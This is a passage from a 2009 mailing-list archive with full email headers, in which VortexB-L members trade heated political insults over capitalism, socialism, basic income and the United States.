(GNU/Linux) iEYEARECAAYFAkoWFpYACgkQXo3EtEYbt3FaTQCgm8SncK+SMb8++RAPo6qWBq6e 2HMAniOTcj+jVIJD5oE5uKsiSBsHmYYO =cdFr -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 20:30:34 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4M3UWDQ008496; Thu, 21 May 2009 20:30:32 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4M3UVoq008492; Thu, 21 May 2009 20:30:31 -0700 Resent-Date: Thu, 21 May 2009 20:30:31 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <1c6b0f1c9797.1c97971c6b0f@ncf.ca> Date: Thu, 21 May 2009 23:30:27 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/html; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4025 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 267

----- Original Message -----

From: grok <grok@resist.ca>

Date: Thursday, May 21, 2009 4:27 pm

Subject: [VoB]:Re: This is VortexB-L...

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
>
> As the smoke cleared, OrionWorks <svj.orionworks@gmail.com>
> mounted the barricade and roared out:
>
> > How would you like to to talk to you, Grok.
>
> Howsabout with the lack of condescension, implied or otherwise?
>
> I guess this here is about the best that can be expected, under
> the circumstances...
> (sigh)
>
> If we're still talking politix then, the first thing would be to
> accept that this is
> not a 'personality issue' -- howevermuch that is the favorite
> slant of those who
> defend any status quo. Therefore some people need to accept that
> any such discussion
> here(sic) actually and truly reflects real issues in the society
> at large. But I
> think those people on vortex-l have problems with that (however
> not with their own
> pet peeves and projects, of course).
>
> As I keep pointing out: politix does indeed have EVERYTHING to do
> with what Science,
> 'fringe science' -- and with what vortex-l is/are. And only the
> beneficiaries of a
> status quo profit from keeping all that out of the equation. Of
> course, when
> festering contradictions never get resolved in a society which
> refuses to advance, of
> course the endless strife only ends up wrecking things. Such is
> [class] war. And so
> it becomes its own excuse for not resolving matters. As we've just
> witnessed here.
>

Towards a resolution... 

In this video someone explains the advantages of Basic Income and counters common criticisms and misconceptions about Basic Income which come from both the right and the left. The discussion on Basic Income begins in earnest at the 5 minute mark in this 10 minute video.

http://ca.youtube.com/watch?v=nAfpGZWJOQQ

Harry

From vortexb-l-request@eskimo.com Thu May 21 20:50:57 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4M3oqZL016451; Thu, 21 May 2009 20:50:52 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4M3oqRS016443; Thu, 21 May 2009 20:50:52 -0700 Resent-Date: Thu, 21 May 2009 20:50:52 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 20:50:41 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090522035041.GC10931@shell.resist.ca> Reply-To: grok@resist.ca References: <1c6b0f1c9797.1c97971c6b0f@ncf.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <1c6b0f1c9797.1c97971c6b0f@ncf.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: tunnels, Xichang, Su-30MK2V, AK-103, PAC-3 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <-lMDAB.A.xAE.bEiFKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4026 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 268 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Harry Veeder mounted the barricade and roared out: > In this video someone explains the advantages of Basic Income and counters > common criticisms and misconceptions about Basic Income which come from > both the right and the left. The discussion on Basic Income begins in > earnest at the 5 minute mark in this 10 minute video. > > [1]http://ca.youtube.com/watch?v=nAfpGZWJOQQ Sounds interesting. Too bad my audio is on the fritz right now. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoWIREACgkQXo3EtEYbt3G62QCeJ5EDZUwAgTK8MeSpf935DpeH Rr4AoJKXNc78e23skA1trd67FHH6JM7c =zLR1 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 06:06:35 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MD6Rhr002291; Fri, 22 May 2009 06:06:27 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MD6QUO002280; Fri, 22 May 2009 06:06:26 -0700 Resent-Date: Fri, 22 May 2009 06:06:26 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: ZC8fnx0VM1kcD1LrFEhk99XaVCUOr7vlSl0.uh0s2MPUsdINsZFAcRhsvUgDpGcpdUITmUqFaEmiku2HOMgR7uqmoqHCpwEQ4yIwVKQ9ay_I5LrdgvTQO53iCN3va8S7rwfXfzYODEdYi24NzwqbJzhrUaRM2nPg0N4znQ6qta5QXSzrhav_43wumEx0MWZ3R4mKhgixbWuwbaP0rRkZ6jNYWUdL_CdPf25OoH34B4cMmq4s9gkhg3_b71F0z7wyqSO8yWA2_8Yw9bwADYxLX0PHaS2E9iX6xx5KLxbFxnvJyx6CZPXPXsnq2VCvM8lYDdDnvuXGoE4EQg-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Fri, 22 May 2009 08:06:16 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <1c6b0f1c9797.1c97971c6b0f@ncf.ca> <20090522035041.GC10931@shell.resist.ca> In-Reply-To: <20090522035041.GC10931@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4027 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 269 On Thu, 21 May 2009 20:50:41 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Harry Veeder >mounted the barricade and roared out: > >> In this video someone explains the advantages of Basic Income and = counters >> common criticisms and misconceptions about Basic Income which come = from >> both the right and the left. The discussion on Basic Income begins = in >> earnest at the 5 minute mark in this 10 minute video. >>=20 >> [1]http://ca.youtube.com/watch?v=3DnAfpGZWJOQQ > >Sounds interesting. Too bad my audio is on the fritz right now.=20 --- Selective deafness, poor baby? JF =20 From vortexb-l-request@eskimo.com Fri May 22 06:30:09 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MDU5RK011117; Fri, 22 May 2009 06:30:05 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MDU4FP011104; Fri, 22 May 2009 06:30:04 -0700 Resent-Date: Fri, 22 May 2009 06:30:04 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: Subject: FW: [VoB]:Re: This is VortexB-L... Date: Fri, 22 May 2009 09:29:56 -0400 Message-ID: <0425929B624F4A97A644C4A21A5D4295@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 Thread-Index: AcnagCBW9NBvToXZQGaKWPQ/GWKolAAU9PDQAANH0+A= X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4028 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 270 -----Original Message----- From: Jeff Fink [mailto:revtec@ptd.net] Sent: Friday, May 22, 2009 9:11 AM To: 'grok@resist.ca' Subject: RE: [VoB]:Re: This is VortexB-L... Grok, You seem to favor a government controlled market over a free market. The free market is based on entrepreneurship where a person recognizes a need, and with initiative, works out a way to fill that need at a cost that is less than what the potential customer is willing to pay. He then puts his time, his money, and his reputation at risk to implement his plan, and if he figured correctly he will generate an income that will support his family with money to spare. The excess money will allow him to expand his business and hire employees. If he grows his business big enough, I suppose, he earns the right to be called a capitalist. In 1833, shopkeeper Marcus Samuel decided to expand his London business. He sold antiques, but now added oriental shells. He aimed to capitalize on a fashion for using them in interior design. His instinct was right - such was the demand that Samuel quickly began importing shells from the Far East, laying the foundations for his import/export business. And thus, a sea shell shop grew to become Shell Oil. Mr. Edison's small business grew to become General Electric. More recently we have Bill Gates, Mr. Hewlett and Mr. Packard, and the list goes on. These all started small and grew. The success was only possible under a governmental system that encouraged enterprise, rather than punishing success. A small business has no power, but a big business can get powerful financially. And, by influencing corrupt politicians, it can get politically powerful also. This is a situation that we must guard against. The free enterprise system has its problems, but it brings more prosperity to more people than any other economic system ever tried. Much more can be said, but I hate typing. Jeff From vortexb-l-request@eskimo.com Fri May 22 06:37:21 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4MDbBHu024741; Fri, 22 May 2009 06:37:15 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4MDb7Ce024719; Fri, 22 May 2009 06:37:07 -0700 Resent-Date: Fri, 22 May 2009 06:37:07 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: ufML0J4VM1lCfJlYLDsjMLAXkoXdxVEzr841xnRhFwx0bwhfJmYbZnYxyEGCVEO.u_OwjtEfApyN.rDep80Xbwja9uMDOlXETTFzC622Wrt0ySA0rzLHBn75nIYax5fRGuvvJ2nixxzNyD5bXe84XHwM9wQSr_g4.ODvy3MMcoonKlCK1.DmudEhUDqMK1ZXc71wrmyGyLV8kDMGm2bzVHTcoPItFtRAttSfDR.uNI9qYjjEp4lAV0iJDyt5pXOcFYXd3.2XeQjgxCok1Yh7XN4JLq2tRi_gOun.5B.07x9ybwJ_G68OUhpallOT7oNEZDeLWAkuCbsiXtTJIkYzskZ.OX.NoYt0Gg-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Date: Fri, 22 May 2009 08:36:54 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <93EA32AC-9CEC-44A0-AB79-4BBE9F97544A@ix.netcom.com> <20090519204339.GA2278@shell.resist.ca> <4A132E5A.7070309@lacy.com.ar> <20090519224854.GH2278@shell.resist.ca> <4A134BDF.7020700@lacy.com.ar> <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> In-Reply-To: <20090522002908.GA29458@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4029 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:China vs US Status: O X-Status: X-Keywords: X-UID: 271 On Thu, 21 May 2009 17:29:08 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> >Non-sense yerself. >>=20 >> --- >> Hardly. >>=20 >> I've gone on and made my point while all you can do is try to play = imaginary >> catch-up with your silly pseudo-colloqialisms. > >You've made no point at all. Fella. --- Your inability to see doesn't mean there's no light, --- >> >What universe are we in again..? >>=20 >> --- >> Again ??? >>=20 >> As far as I know, the universe we're in is the one we started in, so >> your question was disingenuous. > >My question was sarcastic. --- If that was your intent, then the sentence was framed badly. --- >> >> Your way, if you ally yourself with the likes of Hitler, Stalin, = and Mao >> >> is to murder all of your detractors, no matter how softly they = squeak. >> >>=20 >> >> JF =20 >> > >> >1: Hitler was a capitalist stooge. >>=20 >> --- >> Fueled by whom? > >Henry Ford for one. The [pResident] Bush family too, actually. And IBM = Hollerith >cards & Nazi death camps come to mind... hmmm... gee -- howsabout that: = there are so >many, I've lost count. --- Whether or not Hitler was a capitalist stooge isn't the issue, whether you ally yourself with him and his ilk is. --- =20 >> >2: What you know about socialism would probably fill a pinky-thimble. >>=20 >> --- >> True, but that's because there's very little about socialism which = could >> fill a pinky-thimble. > >The hell you know. --- Oh, my, that certainly was a clever refutation! --- >> >3: Murder Inc. is the U.S. ruling-class/government and its deathsquad= franchisees -- >> > that's capitalist, right?=20 >>=20 >> --- >> Nope, and neither is your opinion. > >Well that would be a LIE now, wouldn't it? --- Nope. --- >> You seem to be someone who wants to tear down the structure which is, >> tentatively, binding us together. > >I suggest you take a reality check, fella. The "us" -- by which I take = it you mean >the U.S. here -- is one screwed up, divided, uber-violent = World-dangerous country. >And you people have a lot to answer for, besides. --- I meant "us", the whole of mankind. Of course that meaning would have escaped you since your hatred of America and your passion for tearing her down override any view you might have of the catastrophe which would ensue following her collapse. --- =20 =20 >> Do you want us to all to bind in hate against each each other and = follow >> you into the abyss? >>=20 >> JF =20 > >Youse-all are doing just fine by yourselves. > >Me -- I'm just commentary from the peanut gallery. --- And, after your brief stint in the audience, the show will go on with or without you, and your commentary will have faded back into insignificance. JF =20 From vortexb-l-request@eskimo.com Fri May 22 07:38:41 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4MEcaN5029800; Fri, 22 May 2009 07:38:37 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4MEcW5o029699; Fri, 22 May 2009 07:38:32 -0700 Resent-Date: Fri, 22 May 2009 07:38:32 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 07:38:22 -0700 From: grok To: John Fields Cc: vortexb-l@eskimo.com Message-ID: <20090522143822.GF18912@shell.resist.ca> Reply-To: grok@resist.ca References: <20090519204339.GA2278@shell.resist.ca> <4A132E5A.7070309@lacy.com.ar> <20090519224854.GH2278@shell.resist.ca> <4A134BDF.7020700@lacy.com.ar> <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Tom Ridge, Elbit, risk management, Torrent, FN-7 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <48iv1C.A.6PH.ojrFKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4030 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:China vs US Status: O X-Status: X-Keywords: X-UID: 272 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > Whether or not Hitler was a capitalist stooge isn't the issue, whether > you ally yourself with him and his ilk is. You're just making no sense, no way, no how, fella. You're stretching for logic and facts that just ain't there. Give it up. > >> >3: Murder Inc. is the U.S. ruling-class/government and its deathsquad franchisees -- > >> > that's capitalist, right? > >> > >> --- > >> Nope, and neither is your opinion. > > > >Well that would be a LIE now, wouldn't it? > > --- > Nope. Yup. > I meant "us", the whole of mankind. You most certainly do not speak for Humankind. But in an objective rather than subjective sense -- I do. However poorly. ;P > Of course that meaning would have escaped you since your hatred of > America and your passion for tearing her down override any view you > might have of the catastrophe which would ensue following her collapse. I don't hate "America", fella -- that's your ugly and lame old Cold War dodge. And it never really worx outside the U.S., eh? -- in case you wanted to know. Besides that *America* stretches from Greenland to Tierra del Fuego. And youse just happen to be _USAmericans_. But I most certainly do hate the U.S. ruling-class and all its stooges. And believe me -- or don't: the World WILL survive any collapse of the U.S. Even if your nazi-like ruling-class tries to blow it up. Which appears to be their plan. > >Me -- I'm just commentary from the peanut gallery. > > --- > And, after your brief stint in the audience, the show will go on with or > without you, and your commentary will have faded back into > insignificance. Ya, whatever. Get lost. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoWuN4ACgkQXo3EtEYbt3GSygCgltUOByHeZ2+Ll16wkowXSFyX /FwAoNI1FnPznNq/FnTMbpSMfKrYRVB7 =pRJL -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 07:48:42 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4MEmdGI019864; Fri, 22 May 2009 07:48:40 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4MEmY2g019832; Fri, 22 May 2009 07:48:34 -0700 Resent-Date: Fri, 22 May 2009 07:48:34 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 07:48:27 -0700 From: grok To: Jeff Fink Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090522144827.GG18912@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Tom Ridge, Elbit, risk management, Torrent, FN-7 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4031 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 273 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > Grok, > > You seem to favor a government controlled market over a free market. Hey -- another selective cheap shot. No... I favor a PEOPLE's democratically-controlled ekonomy over what you lot prefer. > The free market is based on entrepreneurship where a person recognizes a > need, and with initiative, works out a way to fill that need at a cost that > is less than what the potential customer is willing to pay. He then puts > his time, his money, and his reputation at risk to implement his plan, and > if he figured correctly he will generate an income that will support his > family with money to spare. The excess money will allow him to expand his > business and hire employees. If he grows his business big enough, I > suppose, he earns the right to be called a capitalist. And youse people accuse communists of being full of brainwashing and propagandistic ideology... > In 1833, shopkeeper Marcus Samuel decided to expand his London business. He > sold antiques, but now added oriental shells. He aimed to capitalize on a > fashion for using them in interior design. His instinct was right - such was > the demand that Samuel quickly began importing shells from the Far East, > laying the foundations for his import/export business. And thus, a sea > shell shop grew to become Shell Oil. Mr. Edison's small business grew to > become General Electric. More recently we have Bill Gates, Mr. Hewlett and > Mr. Packard, and the list goes on. > > These all started small and grew. The success was only possible under a > governmental system that encouraged enterprise, rather than punishing > success. Talk about being selective. But do go on. > A small business has no power, but a big business can get powerful > financially. And, by influencing corrupt politicians, it can get > politically powerful also. This is a situation that we must guard against. > > The free enterprise system has its problems, but it brings more prosperity > to more people than any other economic system ever tried. > > Much more can be said, but I hate typing. > > Jeff Your system is inherently unstable and exploitative and unfair. And it must go. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoWuzsACgkQXo3EtEYbt3GLrQCfeQEPO8ZvAChnWwZGLv48RhV7 bJUAoKO3WmWr7KqGSNNJAU5sOvAzyDzx =dLPy -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 09:06:30 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4MG6SB1030401; Fri, 22 May 2009 09:06:28 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4MG6O8M030381; Fri, 22 May 2009 09:06:24 -0700 Resent-Date: Fri, 22 May 2009 09:06:24 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: _866NXoVM1kK1hFTVhSsZnJdcHJIJvLcffCPgqXqejDkQo71hh27DtPgu8HXiVIQKmvKHCGKOTicfXiR9qiZ2T5u02fWnqKWvKYQPmI1pSEGFKRef0wLLJU9HwVGxMQwRCYFy4wXrh3yIWf4PONRct1a4EZgIIqxqjZSpwOuJPtDgC3sGNLi.wDZEY.KWaCKej3LpeZ3Lqkps7RLMyT3BfeUWvnpgQraVETILHBjrpTGNBrQfVQmK6W3PNV6.YCg2yFpelSM.eQkQKS5zey88QJxF0VCtJPYHS9o6d8gjD0IkBaeeJJYfiHHEC_JJpmMoByrc0hzv1q0HH_kc7ZzVMpJvGEkR7IDdw-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Date: Fri, 22 May 2009 11:06:11 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090519204339.GA2278@shell.resist.ca> <4A132E5A.7070309@lacy.com.ar> <20090519224854.GH2278@shell.resist.ca> <4A134BDF.7020700@lacy.com.ar> <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> In-Reply-To: <20090522143822.GF18912@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <3sBMx.A.faH.A2sFKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4032 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:China vs US Status: O X-Status: X-Keywords: X-UID: 274 On Fri, 22 May 2009 07:38:22 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> Whether or not Hitler was a capitalist stooge isn't the issue, whether >> you ally yourself with him and his ilk is. > >You're just making no sense, no way, no how, fella. You're stretching = for logic and >facts that just ain't there. Give it up. --- The _fact_ is that you're trying to avoid the issue by dodging the question, which is: "Do you ally yourself with personages like Hitler, Stalin, and Mao? --- >> >> >3: Murder Inc. is the U.S. ruling-class/government and its = deathsquad franchisees -- >> >> > that's capitalist, right?=20 >> >>=20 >> >> --- >> >> Nope, and neither is your opinion. >> > >> >Well that would be a LIE now, wouldn't it? >>=20 >> --- >> Nope. > >Yup. --- Speaking of logic... --- >> I meant "us", the whole of mankind. > >You most certainly do not speak for Humankind.=20 --- Straw man. What I wrote was: "You seem to be someone who wants to tear down the structure which is, tentatively, binding us together." --- >But in an objective rather than >subjective sense -- I do. However poorly. >;P --- Your reach obviously exceeds your grasp since your: "But I most certainly do hate the U.S. ruling-class and all its stooges." following, admits to hatred, which is antithetical to objectivity. ---=20 =20 >> Of course that meaning would have escaped you since your hatred of >> America and your passion for tearing her down override any view you >> might have of the catastrophe which would ensue following her = collapse. > >I don't hate "America", fella -- that's your ugly and lame old Cold War = dodge. And it >never really worx outside the U.S., eh? -- in case you wanted to know.=20 --- In the context of this discussion it's clear that 'America' is synonymous with 'United States of America' and your nit-picking is yet another attempt at subject-changing. ---=20 >Besides that >*America* stretches from Greenland to Tierra del Fuego. And youse just = happen to be >_USAmericans_. But I most certainly do hate the U.S. ruling-class and = all its stooges. > >And believe me -- or don't: the World WILL survive any collapse of the = U.S. Even if >your nazi-like ruling-class tries to blow it up. Which appears to be = their plan. --- I don't see where you got that the world wouldn't survive from: "the catastrophe which would ensue following her collapse.",=20 but then you do make up a lot of stuff, don't you? --- >> >Me -- I'm just commentary from the peanut gallery. >>=20 >> --- >> And, after your brief stint in the audience, the show will go on with = or >> without you, and your commentary will have faded back into >> insignificance. > >Ya, whatever. Get lost. --- LOL, it's not me who hasn't got a map! JF =20 From vortexb-l-request@eskimo.com Fri May 22 10:55:24 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MHtKWl015967; Fri, 22 May 2009 10:55:20 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MHtKV2015957; Fri, 22 May 2009 10:55:20 -0700 Resent-Date: Fri, 22 May 2009 10:55:20 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 10:54:50 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090522175450.GC16769@shell.resist.ca> Reply-To: grok@resist.ca References: <20090519224854.GH2278@shell.resist.ca> <4A134BDF.7020700@lacy.com.ar> <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: 8182, DIAT, DCS2000, Ionosphere, Fighting In Built-Up Areas User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4033 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:China vs US Status: O X-Status: X-Keywords: X-UID: 275 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [Let me start off again by saying that I did not come to vortex-l to talk politix, particularly. However youse all do, all the time -- it's just that, given the totalitarian U.S. mentality, much of the discussion of Reality is beyond the Pale. And so many of youse make a federal issue of my 